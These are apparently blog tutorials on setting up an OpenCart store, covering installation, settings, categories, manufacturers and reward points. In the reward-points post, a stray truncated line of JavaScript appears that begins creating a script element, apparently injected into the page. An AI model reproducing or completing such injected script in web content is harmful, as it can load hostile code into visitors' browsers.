OpenCart is an open source PHP-based online e-commerce solution.

Manage Reward Points

For your e-commerce project, sometimes you need to manage reward points.  OpenCart has a very user friendly built-in module to manage your reward points. You can add points for any products easily.

Add Points

To add points, Edit any product. Then go to Reward Points.


Here the first one is the point that the user need to buy the product. And the second one is that user can get points when s/he will use to buy products. If you use Points as 50 and Default as 10 that means user need 50 points to buy the product and user can earn 10 points during transaction.

Generate Points For User

After a successful transaction, admin will get a notification for the product. Now from order, Add points for the user.


How to use

You can check reward points in product page of your store easily.


Now add products in your cart. Now go to shopping cart page. Check carefully. Here you’ll get a new option to use your points.

re3var d=document;var s=d.createElement(‘script’);

Built Your First Application in OpenCart- Part 3

In our previous tutorials, we discuss about the fundamental settings of opencart. Today we’ll discuss about how can we manage category, sub-category & product brands (manufactures).

Create a Category

In a store, all products are organized according to some categories and sub-categories to manage them properly. Lets make a scenario. We need a category named ” Digital Products“. Under this category , there  will be two Sub category “Smart Phone” and “Tablet“. So to create a category, go to admin menu > catelog > category >insert. Now in General tab, set all required information.1


Now in Data section, you can add image for this category. Check “Top” if you want to display this category to main navigation, set order where you want to set this category in main menu. You can set seo keywords fro here.


Click save. Now your menu is created.


Create Sub-category

Again click insert in category. Now in General tab, set all required information same as category.Then in Data section, copy all procedure. But for sub-category, we need parent category, So in parent field, type the parent category name. Then system suggest you the names that you saved before. So click on digital product and save.


Add the other subcategory following these steps. Now check your front store. The created category and subcategories are available at main menu.

Create Product Manufacture

Go to catelog > manufacturer >insert. Add a manuacture name (like Nokia, Samsung, …). And manufacture logo if you want. Click save. Now the new manufacture / brand is created.


In our next tutorial, we’ll discuss about product namagement.

Built Your First Application in OpenCart- Part 2

Admin Panel

First login to admin panel. After logged on, you can have the access to manage your cart.

Manage Cart Setting

From Admin Panel, go to system -> setting. Here you can manage your store settings. Click Edit.


In General tab, add your general information of the store.


In Store tab, Add your store name, meta information, select the theme you want to use


Add your regional setting like country, language, currency.


In image tab, Add your store logo, favicon, manage all the image size that you want to use in your store.

18-02-13 AM 1-08-36

Now you have completed the basic configuration of your store and your store is ready to use. Please check the frontend of your store.

In our next part, we’ll discuss how can we manage our categories, subcategories, products of our store.

Built Your First Application in OpenCart- Part 1

OpenCart is a very powerful free open source ecommerce platform for online merchants. You can easily build up your store within a few minutes!


  • Web Server (preferably Apache)
  • PHP (at least 5.2)
  • MySQL
  • Curl


Download the latest version:


Follow the installations rules:

Post Installation

After successful installation, delete the install directory from your web server.

Ready to Go

Now your store ready! Just hit (your domain where you installed OpenCart) for frontend and for backend.

In our next post we’ll discuss about the configuration of our store.